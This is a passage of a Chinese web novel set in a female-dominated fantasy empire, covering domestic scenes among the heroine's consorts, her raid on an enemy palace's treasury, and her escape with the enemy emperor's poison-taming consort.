怀星低声解释道:“我刚刚帮你把衣服洗了,不小心把身上都弄湿了,只好把衣服脱下来烤干再穿。如果师傅觉得不方便的话,我先出去了。” 晏无辛皱了皱眉,“外面都是女人,你这个样子怎么出去?就在房里待着吧。” “多谢师傅。”怀星抬眸看了看她,“如果师傅不介意的话,我想在这儿洗个澡。” 晏无辛瞥了他一眼,“洗吧洗吧,随你便。” 怀星走到屏风后宽衣解带,身上的衣服一件件搭在屏风上,晏无辛看了一眼,脑子里又开始浮想联翩。 她从抽屉里翻出把扇子,呼哒呼哒地扇了起来。 过了好一会儿,哗啦啦的水声终于停止,少男温润低沉的嗓音传过来,“师傅,我忘了拿沐巾。应该在桌上,您能帮我拿过来吗?” 晏无辛翻了个白眼,真想知道这些用烂了的招数是谁教他的? 怀星悬着心等了好一会儿,脚步声终于越来越近。 他正准备站起来,沐巾忽然砸到了他头上,晏无辛不耐烦道:“下次记得,别丢三落四的。” “是。”怀星失落地垂下眼眸。 不知道是自己学艺不精,还是师傅真就这么不喜欢他。任由他使劲浑身解数,也不为所动。 不过雨眠小郎说前招尽弃,还有最后一招可以用,那就是:以退为进,欲擒故纵。 怀星叹了口气,穿好衣服,擦了擦濡湿的头发。 “师傅,你好好休息,我走了。” 手摸到门栓那一刻,身后忽道:“站住。” 怀星身形一滞,定在那里。 只听她气道:“妖模妖样勾引我半天了,还想走?滚回来。” “是。”怀星忍不住笑了笑,又赶紧压下雀跃的嘴角。 他跪在晏无辛腿边,靠在她膝上,仰望着晏无辛愠怒的脸庞,温声祈求:“师傅作战辛苦,让徒儿好好伺候您歇下吧。” 他壮着胆子蹭了蹭晏无辛的唇,只见她眉心微微皱起,嘴边不悦的低喃:“逆徒!看似乖巧,却总想以下犯上。” 怀星心里一沉,低声辩解:“冤枉!在我心里,师傅永远高高在上。我只是想伺候师傅,我知道,我配不上。” 晏无辛捏住他的下巴,“说这么多废话干什么?还不过去铺床?” 怀星眼底的喜悦迅速冲散了那一抹哀凉,“徒儿遵命。” * 一晃过了七八日,派去上都打探的人回来,带回了不少有关于姜国的情况。 姜国其实一个宗教意味浓厚的国家,姜国人大半的国民都信奉由魅族创立的圣教。 这个魅族也是个神奇的民族,她们的圣教推崇冰清玉洁的男子成为圣男,掌管圣教。 传说中魅族首个圣男天生魅骨,能梦中遇仙人而后有孕。他容貌昳丽,似仙似妖似魔,终日以毒花毒虫为伴。 所以,后来每届圣男都要容貌无双 ,再经过重重毒关,方可当选。 姜国皇帝为了巩固统治,十年前迎娶了当今圣男为皇夫。 探子提醒道:“因为这位圣男皇夫的关系,如今姜国皇宫中,有不少善用毒物的魅族人,请陆侯一定要小心。” 陆锦澜怪道:“你刚刚不是说圣男得是冰清玉洁的男子吗?他嫁给了皇帝,还怎么冰清玉洁?” 探子笑道:“据说为了保持圣男的纯洁,姜国皇帝从未宠幸过他。不过那圣男生得俊美似妖,我就不信那姜国皇帝能忍得住。也许两人合伙,隐瞒教众呢。对了,我这里有一幅姜国皇宫的简图,请侯君收下。” 陆锦澜接过图纸看了看,“你辛苦了,下去好好休息吧。” 她打定主意,要去探一次姜国皇宫。 * 雨眠千不舍万不舍,陆锦澜已经给他下了命令,他不得不准备回京了。 离开前一晚,两人一番云雨过后,趁着陆锦澜心情愉悦,雨眠便凑到她耳边吹枕边风。 “明日我便走了,你千万要照顾好自己。” 陆锦澜闭着眼,回道:“这话你都说了几十遍了,我这么大人了,还能给自己罪受?” 雨眠低笑一声,“别的我倒不担心,就怕你一时心软,被外面的男人给骗了。我不是爱吃醋,我们远在京城,这边有人能照顾你,我也高兴。” “可那个曲国的小郎主到底是曲国人,咱不知根底,他在你身边我实在不放心。” “你若喜欢,咱们嬅国什么样的男人没有?不都是由着你挑?” 陆锦澜“嗯”了一声,“我自有分寸,这事你别管。” 雨眠叹了口气,幽怨道:“陆侯日渐威仪,已然是位高权重,自然不愿听我一个后宅小郎小小雅侍多言絮叨。其实,我很怀念在小院的时候,就咱们两个,时常秉烛夜话,软语温存……” 陆锦澜听他似有哽咽之声,睁眼一看,雨眠双眼泛红的含着泪,长睫投出一片暗影。在昏黄的烛光下,看起来尤为可怜。 “啧,我又没说什么,你怎么哭了?” 陆锦澜摸了摸他的脸,笑道:“都当爹的人了,还是这么爱掉眼泪?” 雨眠握住她的手,温声道:“只是一时感慨罢了,可有件事我不得不提醒你。” “如今你封了侯,以后京城贵夫集会,多半都要到下帖子到咱们侯府。凛丞是你的正夫,是二品诰命夫郎,无限风光。” “他出身高贵,家世又好,与你情深,这也是他该得的。我们这些做小郎的,倒不是眼热。只是日后我们跟着大夫郎出去,我和七郎身份低微,说出去怪不好听的。” “我也就罢了,安东以后长大了,你看着孩子的面子,也会提我的位份。但七郎这次一口气给你生了三个孩子,那般凶险,你也该表示表示。” 他说了一车的话,陆锦澜听到最后才恍然大悟。 “嗐!不就是为了提提位份这点事儿吗?你绕了八百个弯子,差点把我说糊涂了,还掉了几颗金豆子,又哭又闹的,你说你何必呢?” 雨眠被戳破心思,尴尬道:“我这不是……怕你不高兴吗?再说,你迟迟不动这个心思,谁知道你是不是把位置给什么萧公子笛公子的留着呢。” 陆锦澜噗嗤一笑,“我是真忘了,上回说等你生了孩子给你提提位份,后来赶上一堆事,就忙忘了。我一个大女人,哪记得这些?你不早提醒我?” 雨眠白了她一眼,“这事我怎么好自己开口?还以为你迟迟不提,是觉得我做得不好。我是不在意的,但我也得为咱们东儿着想,她可是你的长女。我本想让七郎说,可他嘴比我还笨,也是指望不上。” 陆锦澜笑道:“行行行,这事是我疏忽了,早就应该办。咱们这回一步到位,你和七郎都当侧夫,我给凛丞写封信,等他给几个孩子办满月酒的时候,广而告之,好不好?” 雨眠高兴地亲上来,“你答应了可不许反悔,我以后就以陆侯的侧夫身份自居了。” 他随即转念一想,“你那个小郎主怎么办?正夫侧夫都没位置了,他不得跟你闹?”—— 作者有话说:来了来了,渡劫中,今日头疼,先写这些,明天争取多更~ 第92章 陆锦澜笑了笑,故意逗他,“你要是真替我操心,你就别升侧夫了,把侧夫留给萧衡。” 雨眠面上一慌,忙道:“人家……人家毕竟是曲国的小郎主,侧夫委屈他了吧?我看这个位置还是适合我。何况你刚刚都答应了,一言既出驷马难追,妻主不许反悔。” 陆锦澜微微一笑,“不反悔,给你的赏绝不收回。” * 次日,雨眠带着怀星洗墨,还有几车边关土仪回京了。 陆锦澜把项如蓁和晏无辛叫来,开始研究去上都的路线。 “我去的时候,从业州进入姜国国境,走水路穿过繁城,直达上都,大约四日的工夫就到了。” 项如蓁担忧道:“你去倒是容易,我怕的是你在皇宫里遇到意外情况。还是我陪你去吧,好歹能有个照应。” 陆锦澜笑道:“你还不放心我?有意外情况我也能随机应变,无碍的。我这次一去得十天半个月,我不在军中,这四十万人不能群龙无首,你和无辛留在这儿,我才能放心。” 晏无辛见她十分坚持,只好答应,“好吧,那你快去快回,找不到证据也别管了,回来咱们再想别的办法。虽然伪造证据这事儿不地道,但事从权宜,你们不想干就交给我干。” 陆锦澜笑了笑,“没那么难,去皇宫偷件东西而已,不就是当个小偷吗?你们用不着这么紧张。我已经想好了,最坏的结果就是闹得天翻地覆被人一路追杀回来,我已经想好了退路。” 陆锦澜指着地图上一个无人管辖的三角地带,“这处是荒山老林,位于姜国和曲国之间,两国都没有派兵驻守。如果我被她们发现了,业州城一定城门紧闭,四处搜我。” “我回来的时候干脆不进业州,出了繁城走小路,从这林子里穿出来,就是咱们嬅国地界了。” 项如蓁仔细看了看地图,“荒山老林远在城郭之外,说不定有多少猛兽,太不安全了。何况这林子还这么大,你脚程再快,也得走一天一夜。不过确实不用担心有追兵,也是个方法。” “这样好了,十二日后就是月圆之夜,你一来一回时间差不多。如果月圆之夜你还没到,我们就去林子里接应你。不管你遇到什么意外情况,只要你进了林子,就可以放心,我们一定会找到你的。” 陆锦澜:“好,就这么办。” 三人议定后,陆锦澜收拾了个轻便的包袱,乔装打扮,一身粗布麻衣,戴了个斗笠,伪装成商客,悄悄混入业州城,进入姜国境内。 只留下囚龙关上的陆字将旗,迷惑邻国的探子。 几日后,她按照原定路线,顺利到达了上都。当晚便穿上夜行衣,夜探姜国皇宫。 探子交给她的皇宫图纸是根据已经出宫的白头宫女口述,绘制的简图,是二三十年前的样子。 这姜国皇宫大约翻修了一些地方,和图纸有些出入。 陆锦澜没找到皇帝的寝宫,可是闻着味儿找到了御膳房。她仗着自己轻功敏捷,连日赶路辛苦,干脆溜进去大吃了一顿。 吃饱了又想着要不今天算了吧?我先找个房间休息休息,明儿抓个侍从,好好问问。 她在姜国皇宫里一通乱窜,七拐八拐地,忽然看见有一栋建筑外面有不少侍卫在看守。 难道这是皇帝住的地方? 天那么黑,陆锦澜看不见牌匾,干脆绕到后侧直接一跃,悄无声息的翻上二楼。 屋子里有各种大大小小的箱子、柜子、匣子,陆锦澜好奇,用匕首稍稍撬开一个,里面竟然是颗鹅蛋大小的夜明 珠,在她掌心发出璀璨的光芒。 陆锦澜颇为惊叹,她家里虽然有钱,但很多东西不是有钱就能买到的。 尤其是一些珍品,都得上贡给皇家。皇家想要的东西,个人想留在手里都留不住。 陆锦澜又撬开了几个箱子,里面都是奇珍异宝。 看来,这是姜国的藏宝阁。 陆锦澜勾了勾嘴角,那我就不客气了。 她转了一圈,发现一个架子上有一幅两米多长的双面绣,上面花鸟鱼虫栩栩如生。 陆锦澜没心思欣赏,她是相中这块布了。立刻用匕首割下来,铺在地上,当包袱使。 普通的金银玉器她看不上眼,专挑稀世罕见精美绝伦的东西往里放。 什么玉雕玉壁宝石冠,什么翡翠镯黄金嵌宝钗,什么金瓯永固杯,什么鸳鸯莲瓣纹金碗,她通通往包里放。 这简直是博物馆零元购,搁现代拿一样都得判刑,现在她能带走多少算多少。 陆锦澜一边挑一边在心里安排:这个钗好看,等我不打仗的时候戴。这个寿字杯精巧漂亮,回头送给我娘。这几样给孩子玩,这些个玩物让夫郎们回去自己分吧。 这个酒樽给无辛,给她当今年的生日礼物。给如蓁送个什么好呢? 她翻了一圈,猛一抬头,发现高处架子上摆着一支泛着寒光的长枪。 陆锦澜眼睛一亮,连忙取下来,那枪是精钢所铸坚固无比,拿到手里颇有份量。这枪放在这儿,必定算得上宝物,定有不俗之处。 陆锦澜想:如蓁是最爱用枪的,可惜一直没寻到特别称手的兵器。这杆枪长度和重量都适合如蓁,干脆给她带回去好了。 陆锦澜放肆收纳了一大堆宝物,几乎把看中的都装上了。 那包袱足足有四五十斤重,不过她前些日子又服用了两颗人母大礼包里的永久大力丸,力量大增,这点重量加在身上,跟背了几件衣服差不多,根本感受不到重。 她将包袱结实地系在背上,提上钢枪,临走时拍了拍一人高的玉佛肩膀,“可惜你太大了,下次有机会,我一定把你带走。” 她出了珍宝阁,心里高兴恨不得高歌一曲,甚至都开始劝自己:要不就这么着吧,此行已经大有收获,我回去用凌之静的笔迹写封信得了。反正通敌的事儿是真的,又不是栽赃冤枉。 她正想着,路过一处豪华的宫殿,院子里服侍的宫人不少。她不禁又开始怀疑:难道这是皇帝的寝宫? 陆锦澜伏在房顶,从窗中窥探,宽敞的殿内并没有人,但寝床上的被褥是皇帝皇夫才可专用的明黄色。 陆锦澜心头一喜:应该就是这儿了。 她想正找地方下去,却在天窗里窥探到偏殿惊人的一幕。 那是一个狭小逼仄的房间,四周门窗紧闭,案上点着香,却是空的,没有供奉任何神佛。 地面铺着湿润的黑土,一位身穿白衣的男子躺在那儿,不知道是晕倒了还是死了。 她正如此想着,那男人忽然动了一下,侧身变为仰躺,脸正对天窗的方向,仍然闭着眼睛。 陆锦澜屏息静气,好奇地仔细打量。 这个男人生得俊美极了,属于人群中一眼看到,便会让人念念不忘频频回顾的面孔。 他的皮肤很白,五官长得正正好好,比雕出来的石像还要标致。一身白衣,配上这般高洁的品貌,恍若落入凡尘的谪仙。虽然躺在尘土之中,却有出尘脱俗之感。 陆锦澜忍不住看了又看,无意间完成了系统的初级凝视任务,系统在默默给她加分。 陆锦澜哭笑不得,自从她悟性上来后,有日子没受过系统的铁拳制裁了。 倒是自己融会贯通,享受着女尊世界的快乐,时不时还领先男频系统一步。任务都不用发布,她自己就抢答了。 如此绝色美男,系统竟然没有额外任务,她自己都暗觉可惜。 她猜这人应该就是传说中的魅族人,不知犯了什么错,被关到这小屋里受罚。 要不等我拿完了信,把他也顺手带走吧? 陆锦澜刚要离开天窗去大殿,忽然瞥见一只毒蝎爬到了男人的衣服上。 她顿时瞪大了眼睛,定睛一看,岂止是毒蝎啊!还有一条毒蛇在他脚边盘桓。 陆锦澜一想还是救人要紧,忙压着嗓子用气声道:“喂,醒醒!快醒醒!” 男人迷蒙地睁开眼,瞥见天窗上的陆锦澜顿时一惊,“你是谁?” 第93章 “嘘!”陆锦澜先让他低声,“你别管我是谁,反正我是你的救命恩人,我先救你出来。” 男人微微怔了一下,“救我?” “对啊!”陆锦澜笑问:“难道这破地方你还没待够?你再躺下去,都要得风湿了。” 男人坐了起来,陆锦澜忙道:“慢点儿,别乱动!看见你身边的毒蛇毒蝎没有?小心它咬你,别惊了它。” 男人倒是没有慌张,坐在那儿慢条斯理地理了理衣衫,周边的毒物温驯地盘桓在侧,没有攻击他。 其实,他夜夜都躺在这里,仿佛这偌大的皇宫之中,只有此处能让他感到宁静和心安。 门窗紧闭的小屋,湿润的土壤,还有睁开眼就能仰望的星空。 不过,今夜有些不一样。 这间屋子原本密不透风,头顶的天窗是用来透气的。可此刻,有一个陌生的女人出现在那里,扬言要救他出去。 心底压抑的念头蠢蠢欲动,却有万般杂念无法抛下。 他纠结片刻,无奈道:“我不知道你是谁,你也不知道我是谁。我不知道你到这儿来做什么,总之不是为我来的。你去做你的事,我不妨碍你,就当我们没见过。” 陆锦澜不解,“为什么?你喜欢这儿?你坐牢有瘾?你打算当一辈子囚犯?” 男人连连摇头,“我不喜欢这儿,可我出不去。我这一辈子,就是这般没有办法。” 陆锦澜:“胡说!怎么会没有办法?难道你腿不方便,你瘫痪了?” 男人嗔怪地白了她一眼,低声嘟囔道:“你才瘫痪了。” 陆锦澜噗嗤一笑,“你有腿有脚,怎么会出不去?再说,不是有我吗?我带你出去。” “你?”男人心头疑虑,不过他没问“你凭什么带我出去”,反而问:“你为什么要带我出去?” 陆锦澜笑道:“这你就不知道了吧?我是天底下第一大善人,就喜欢扶危助困。” 陆锦澜朝他伸出手,“来,把手给我。” 男人望着她坚定的眼眸,不知道自己怎么就着了魔,只觉得那只伸向他的手充满了诱惑。 他的脑子明明还没想清楚,身体却像便中蛊一般,茫然地伸出手,握住了她。 温热而有力的手掌瞬间包裹住他微凉且苍白的指节,男人心头一颤,声音都有些发抖,“我叫蚩离,你真的要带我出去吗?” 吃梨?怎么不叫吃苹果? 陆锦澜暗自腹诽两句,笑道:“我带你出去吃梨。” 陆锦澜微一用力,蚩离只觉身体一轻,瞬间被她提了起来。 他连忙用另一只手紧紧握住她,生怕掉下去。 蚩离并不重,陆锦澜从天窗处将他提上来,自己没觉得怎样,蚩离倒是紧张得乱了呼吸。 两人并肩坐在房檐上,陆锦澜道:“你坐在这儿歇会儿,我下去一趟,等会儿上来接你。” 蚩离忙问:“你干什么去?” 陆锦澜:“办事,我去皇帝的寝殿找点东西。” 蚩离瞥了眼她身后硕大的包袱,“你不是已经找了很多东西了吗?” “这些都是捎带手的,我真正要找的东西还没找到呢。对了,下面是皇帝寝殿吧?” 蚩离摇头,“不是,下面是皇夫的寝殿。” 又找错了!陆锦澜皱了皱眉,“皇夫?就是魅族的圣男?” 蚩离闷声道:“是。” “哦,我刚才看殿里没人啊。他去哪了?服侍皇帝去了?” 蚩离立 刻道:“圣男要守贞,从不服侍皇帝。” “真的?那他岂不是要当一辈子处男?嫁了人还守活寡,他也太惨了。” 陆锦澜说完才发现蚩离脸色阴沉,不悦道:“你再出言不敬,我不跟你走了。” 陆锦澜怪道:“我又没说你,你……你……” 她猛然想到什么,“你不会就是圣男吧?” 蚩离低着头,纤长而浓密的睫毛随着呼吸微微扇动,犹如蝴蝶的羽翼。 他沉默片刻,忽道:“你若是后悔,现在就把我放回去,还来得及。” 陆锦澜大脑飞速运转,实在是太不凑巧了。这么好看的男人,竟然是圣教的圣男。 他若是个普通男人也就罢了,偏偏是姜国皇帝娶回宫里的男人。 明明知道不能碰,却还要娶他回来做皇夫。说明这个人对姜国皇帝有重要的政治意义,他可不是一个无关紧要的花瓶,而是姜国皇帝管理圣教教众的利器。 把他带走,对于嬅国来说没有损失,反而可能有利。前提是,姜国不知道是她干的好事。 但把他带走之后,事情可就麻烦了,姜国皇帝非全力追击不可。 陆锦澜的目光在他脸上徘徊片刻,有些犹豫。 说实话,如果在他上来之前,她知道他是皇夫,一定不会把他拉上来。 可是他现在已经上来了,就坐在自己身边,近在咫尺。 陆锦澜以前是不相信“美貌冲击力”的说法,初遇凛丞的时候,那般惊艳,也不过微微失神。 可蚩离不一样,他美得不可方物,有种超出人类的美感。 这样近距离看着他,跟他说话都会忍不住走神,哪里忍心把他丢回去? 算了!陆锦澜一咬牙,决定把漂亮的活寡夫带走。 她豪爽道:“后悔什么?我陆锦澜这辈子都不知道悔字怎么写。” 蚩离一愣,“你是陆锦澜?” “对啊!听过我的名头吧?” “听过,陆侯大名如雷贯耳。” 陆锦澜笑道:“你在这深宫里消息还挺灵通,不过你别全信。我刚把你们姜国军队打得惨败收场,她们不会传我的好话的。” 蚩离抿了抿唇,淡淡道:“好话坏话都有,只是如今看来应该都是真的。我算知道,你为什么救我了。” 他暗暗挪远了些,陆锦澜无奈地叹了口气,不用问,一定是把她传成贪图美色、风流成性、到处留情的登徒浪子了。 “没错,我是乐于帮助貌美的男人,身边也的确有几个男人。但我发誓,我可从来没有强人所难,都是他们自愿的。你看你长这么好看,我有强行占你的便宜吗?” 蚩离警惕地看了她一眼,回道:“暂时还没有。” 陆锦澜咬了咬牙,“好,我这回就做一个彻彻底底的正人君子,绝不轻薄你这位冰清玉洁的圣男。我把你好好的带出去,但等到了外面,你得跟我道歉。” “好。”蚩离一口答应,“那我们什么时候走?” “我去皇帝寝殿找封信,找到了就走。” 陆锦澜一想,蚩离和姜国皇帝不是一路,便把赵敏成要她找证据的事儿告诉他。 “我听说我朝的定北侯给你们皇帝写过几封信,我想碰碰运气,把信带回去。” 说到底这是嬅国的事儿,对姜国来说也不算什么,一封用过的信,留着也没什么用。事情如果做得隐秘,只怕她偷走半年,这边都发现不了。 蚩离也是如此想,只道:“这个不难,我去帮你找。” * 皇帝寝殿内掌事的宫男正准备关门熄灯,忽见殿外来了位稀客。 他忙放下手里的东西,跪拜道:“参见皇夫!” “平身吧,皇上呢?” “皇夫来得不巧,皇上今晚宿在孟贵侍处,您若有急事,不妨去那里找她。这个时辰,圣上应该还没歇下。” 蚩离暗暗松了口气,“不必了,没什么急事。之前皇上着我炼丹,我一直不得其法。今日,终于炼制成了一枚丹药,特来献给皇上。” 他举了举手中的匣子,“我去将此物放在皇上床头,你退下吧。” 宫男忙道:“奴才替您放进去吧。” “不用。”蚩离冷声拒绝,“此物贵重,只有我和皇上能碰,第三人沾染怕乱了气味。而且放置的方位也颇有讲究,你不懂,只能我自己来。” 宫男连忙缩回手,“那有劳皇夫了。” 蚩离独自进入皇帝寝殿,立刻将门关严,随手将丹药放在床头,便去书案上翻找信件。 他不识字,但是陆锦澜刚刚给他写了字条,上面有“凌之静”三个字。他便对应着字条,去信封上寻找一模一样的字。 书案的抽屉里有好几摞信,他焦急地翻找着,额头上很快沁出了一层薄汗。 这时掌事的宫男忽然敲了敲门,“皇夫,还没放好吗?” 蚩离急道:“就快了,再等一下,事关重大,不许来打扰我。” “可是……”那宫男还想再说些什么,外面忽然一阵吵嚷。 有人在高呼:“有刺客!抓刺客!” 宫男忙道:“好像是侍卫长的声音,我去问问她们怎么回事。皇夫您要小心,先别出来。” 刺客?难道是陆锦澜被人发现了? 宫男一走远,蚩离又心急如焚地翻找一通,总算找到了两封凌之静写来的书信。 他连忙将信收起来,将书案整理一番恢复原样,趁着四处无人快步离开。 刚刚拐过一处石桥,猛地被人从身后捂住了嘴。 “嘘!是我!”耳边传来陆锦澜的声音,蚩离终于停止了挣扎。 他连忙将书信交给她,“你看看,是不是这个?” 陆锦澜点了点头,“没错,就是这个,咱们可以走了。” 蚩离欲言又止,迟疑道:“你已经被她们发现了,不容易走了。我又不会武功,你带着我,只会更难。” 陆锦澜挑了挑眉,“你想说什么?” 蚩离无奈道:“我刚刚又想了一下,如果我一走了之,皇上是不会放过我的家人和族人的,我不能走。” 他沮丧地垂下眼眸,眼圈微微泛红,“我很想跟你走,很想去看看外面的世界。但是我不能,你走吧。” 陆锦澜笑着叹了口气,“你以为我是怎么被发现的?” 蚩离摇了摇头,不解地看向她。 陆锦澜道:“我是故意被发现的。我刚刚也替你想了一下,你主动走当然会有麻烦,但是如果是被人劫走,那就怪不得你了。我已经将你的寝殿弄地乱成一团,你独自出门被我劫走,不是顺理成章吗?” 蚩离怔了又怔,“可……可我刚刚去了皇帝寝殿,寝殿里丢了东西……” “没错,有人看见你去了皇帝寝殿,但是没有人看见你离开寝殿。殿里丢了东西,不一定是你偷的,也有可能是偷东西的人撞见你,顺便把你也偷走。” “何况,今晚不止寝殿里丢了东西。”陆锦澜说着指了指身上的包袱,“这也丢那也丢,丢一个美人,不也合理吗?” 蚩离愣愣地看着她,简直不可思议。 他曾听闻她是个血性女儿,一身是胆勇冠三军,敢于万军从中刺杀敌将。 他也曾听闻她智计无双,危难之 中力挽狂澜,凭借三寸不烂之舌说服曲国结盟,使战局转败为胜。 他听说过陆锦澜许许多多的故事,却不曾想这样一个闻名天下威震四方的大英雌,竟会为他一个微不足道的深宫男子枉费心思。 他内心震动不已,不得不承认,她的确有让人心折的本事,哪怕彼此才刚刚认识。 他想,她方才说的话大概是真的。那些男人,都是自愿的。 陆锦澜见他发愣,伸手在他眼前晃了晃,笑问:“怎么了?圣男也会动凡心吗?你该不会爱上我了吧?” 蚩离立即否认:“我才没有,陆侯不要自以为是。既然你都替我费了工夫,我们这就走吧。” 陆锦澜点了点头,一本正经道:“好吧,但走之前你还得做一件事,我们才能走。” 蚩离忙问:“什么事?” 陆锦澜指了指自己的脸,“你亲我一下。”—— 作者有话说:呜呜,我的“如蓁”“无辛”来找我了,这两天可能迟更或者不更,请大家留意公告。她周一回去,我要陪她做特种兵。 第94章 蚩离简直不敢相信自己的耳朵,急道:“你……你那会儿明明说,你要做正人君子,绝不会轻薄于我。” 陆锦澜莞尔一笑,“笨!你们魅族人真是一点幽默感都没有。逗你的,走吧。” 陆锦澜带着他藏进了水车上的空木桶,“这车明早会去宫外打山泉水,咱们就能神不知鬼不觉的混出去了。” 蚩离点了点头,“你手里的那杆霸王鎏金枪呢?” 原来叫霸王鎏金枪?陆锦澜道:“放车底下藏起来了。” 陆锦澜说着把木桶盖子盖上,从怀里摸出夜明珠,清冷透亮的光顿时映照在二人的脸上。 木桶虽然不小,但装了两个成年人和一个大包袱,还是显得十分逼仄。 两人紧挨着蹲坐在那儿,隔着衣料,都能感受到彼此温热的体温。 蚩离不惯与人这么近,但此时此刻无处可躲,女人的气息强势霸道,迅速将他包裹。似有所无的香气侵入鼻息,让他变得格外紧张。 他不觉吞咽了一下,喉结滑动,陆锦澜送目过来,“你怕什么?我们不会被发现的。” 蚩离看了她一眼,心底暗自回答:我怕你。 他能感觉到陆锦澜一直在盯着他,她的眼神仿佛有温度,烫得吓人。看得他脸上发热,都快被灼伤了。 他实在忍不住出声质问:“你盯着我做什么?” 陆锦澜倒是十分坦荡,丝毫没有否认,她道:“我在看着你思考问题。” “什么问题?” “似你这等绝色美男,天下恐怕再也找不出第二个。只要是个女人,都抵不住这般的美色诱惑。姜国皇帝娶了你这么久,你说她是怎么忍得住的?” 这话说得直白,蚩离却微微一笑并不生气,借机敲打道:“不瞒陆侯,我们魅族人天生貌美,难免被好色之徒觊觎。但魅族祖先不仅将美貌传承给我们,也传下了防身的本事。” “魅族人天生与毒物为伴,而我身为圣男,毒术自然独步天下。我饲养的毒物可领会我的意志,如果有人侵犯我,它们便会一拥而上,将对方咬死。” 陆锦澜不信,“那你的毒物不在身边的时候呢?” 蚩离勾了勾嘴角,“我有身饲毒物,它与我一体,没有不在的时候。” 陆锦澜眨了眨眼,“什么意思?” 蚩离伸出两只手,陆锦澜见他两手空空,不明所以。 蚩离转而将双手合十,摊开左手,一条赤红色的剧毒蜈蚣赫然出现在他的掌中。 那条毒蜈蚣足足有一尺多长,灵活地在他手腕上游走攀爬,时不时抬起它红得发亮的头部,两侧的足微微伸缩,看得陆锦澜瞬间头皮发麻,起了一层鸡皮疙瘩。 她屏住呼吸,身体僵硬地抵住木桶的边缘。如果不是情况不允许,她真想一掌把木桶拍烂,立刻跳出三丈远。 蚩离低声道:“这就是皇帝不敢靠近我的原因,她害怕。” 陆锦澜心道:你整这么个玩意儿在身上,谁能不害怕? 她听人说过,越毒的东西颜色越鲜艳,这只毒蚣鲜亮如血,只怕被咬上一口,立刻一命呜呼,连解药都来不及吃。 这种多足的无脊椎动物,本来看着就让人难受,何况它奇毒无比。不管有多旺盛的色心,一想到这东西,恐怕都会顿时六根清净毫无杂念。 陆锦澜也害怕,但她在蚩离面前还是好面子,装了一下。 她干笑两声,强撑道:“哈哈,这有什么可怕的?这……蛄蛹蛄蛹的,看着多可爱啊!” 蚩离喜道:“你竟然能欣赏毒物的姿态?真是难得。我还以为除了我们魅族人,都惧怕毒物呢。也许你也有驯服毒物的天赋?要不我让它到你手上,你感受一下?” “不用了。”陆锦澜毫不犹豫的拒绝,“你快将它收起来吧,我们要保存体力,早点休息。” “好。”蚩离看着那毒蚣,仿佛和它交流一般,毒蚣在他手上打了个旋儿,眨眼间便消失不见。 陆锦澜暗暗松了口气,本来美男在侧,她有些心痒难耐。现在心里却清净得很,一点儿也不惦记撩拨美男了,只想睡一会儿。 可她闭上眼,又想起那只毒蚣,忍不住问了一句:“它会不会自己爬出来?爬到人耳朵里之类的?” “不会的,它由我的意念驱动,我让它出来,它才出来。” “好。”陆锦澜想:那我就放心了。 两人闭目养神,直到天微微亮,马车晃动了一阵,终于到山泉边停下。 陆锦澜寻机打晕了车妇,抽走车底的霸王鎏金枪,敲了敲木桶,“走吧。” 蚩离跳下车,一转头才发现车上有三只空木桶。 昨晚天黑没看清楚,这时他不觉奇道:“有三只木桶。” “嗯,三只,怎么了?”陆锦澜反问。 “既然有三只木桶,你为什么要跟我挤在一只木桶里?” “哦,我是故意的。”陆锦澜一本正经道:“为了贴身保护你。” “是吗?” “不然呢?难道我有占你便宜吗?莫要冤枉好人!” 陆锦澜气乎乎的往前走,蚩离连忙快步跟上,赔罪道:“是我小人之心了,陆侯别见怪。” 陆锦澜摆了摆手,大度道:“没事,我经常被误解,习惯了。” “那我们接下来怎么办?” 陆锦澜道:“先到城门口去看看情况。” 不出陆锦澜所料,宫里进贼的消息已经传开了。 城门口重重盘查,蚩离犯愁道:“看来我们出不去了。” “怕什么?顶多查上一两天,没有头绪她们就会往城外找了。” 陆锦澜算了算时间,耽搁四五天,也能够在月圆之夜赶回去,她便不急着赶路,带着蚩离去逛上都集市。 蚩离正紧张地四处观察,一顶帷帽忽然罩在他头上。 陆锦澜低声道:“别紧张,这里没有追兵。” 蚩离不安道:“可我感觉总有人在看我。” 陆锦澜笑了笑,“戴上这个,就没人看你了。别把自己当成逃犯,否则官差只会更加留意你。” 蚩离忙问:“那我把自己当成什么?” 陆锦澜一笑,眼神暧昧:“你说呢?” 陆锦澜拉着他的手腕,大摇大摆地走进了一家绸缎庄。 老板满脸堆笑地迎了上来,“这位少娘,想选点什么?” “给我家夫郎选几件时兴的衣衫,把你们店里最好的衣衫都拿出来。” 这口气,一听就是大主顾。老板喜道:“请您稍等,我亲自去给您拿。来人,快上好茶!” 老板一走,蚩离急道:“你怎么能这么说?” “不然怎么说?说你是别人的夫郎,被我偷出来了?”陆锦澜放下包袱往那一坐,低声抱怨道:“不能摸不能碰的,我过过嘴瘾还不行?” 蚩离低着头,没再说什么。 老板不一会儿便带着几个伙计过来,呈上了十几款新衣衫。 她热情介绍道:“这都是今年的新款,全是上等的料子。这两件是嬅国来的紧俏货,这件鹤袍是十几位绣郎共同绣得的,要不让你的夫郎先上身试试?” 陆锦澜微微点头,“你去试试吧。” 蚩离不知是不是帷帽太闷,这深秋时节,他脸上竟然一阵阵发热。 他抱着一大堆衣衫进了更衣室,陆锦澜的桌上又添了几样茶点。 不一会,排查的官差来到店里,抓着老板问:“有没有可疑的人来过?” 老板忙道:“我们这儿来得都是客人,哪有什么可疑的人?几位官娘,到别处看看吧。” 那官差道:“宫里丢了东西,你们都留点神。记住,如果看见有人带着一大包宝物,要找官府报告。对了,那个人身边可能还带着一个貌美的男人。” 她正说着忽然瞥见老板身后的陆锦澜,陆锦澜迎上官差的目光,轻笑一声,主动开口。 “几位差大姐,不会是怀疑我吧?在下的确带一个包袱,身边也有一位貌美的夫郎,正在里面试衣服。要不,我把他叫出来给你们看看?” 那官差一看陆锦澜是个富家阔少的打扮,眼角眉梢都是笑意,态度这般自在风流,哪像是贼?便不悦道:“你别跟着裹乱,没你的事。” 陆锦澜好奇地追问:“这宫里戒备森严,怎么会丢东西?” 那官差道:“跟你没关系,少打听。” 说着便带着人,往别处去了。 蚩离在更衣室里听见外面的对话,紧张得心跳如鼓,听见官差走了,悬着的心终于放下。 他不得不佩服陆锦澜,她永远处变不惊,仿佛这世上就没事值得她慌张。 店里男工笑着进来帮忙整理衣衫,朝蚩离投来羡慕的目光。 “这位夫郎,你家妻主待你可真好。她刚刚把这些衣服都买下了,又帮您挑了几件别的,足足花了一百八十两银子呢。她让我们来帮您装好,我们一年不知道要招待多少顾客,很少见到这么大方的妻主,您可真有福气。” 蚩离讷然道:“她……是很好。” * 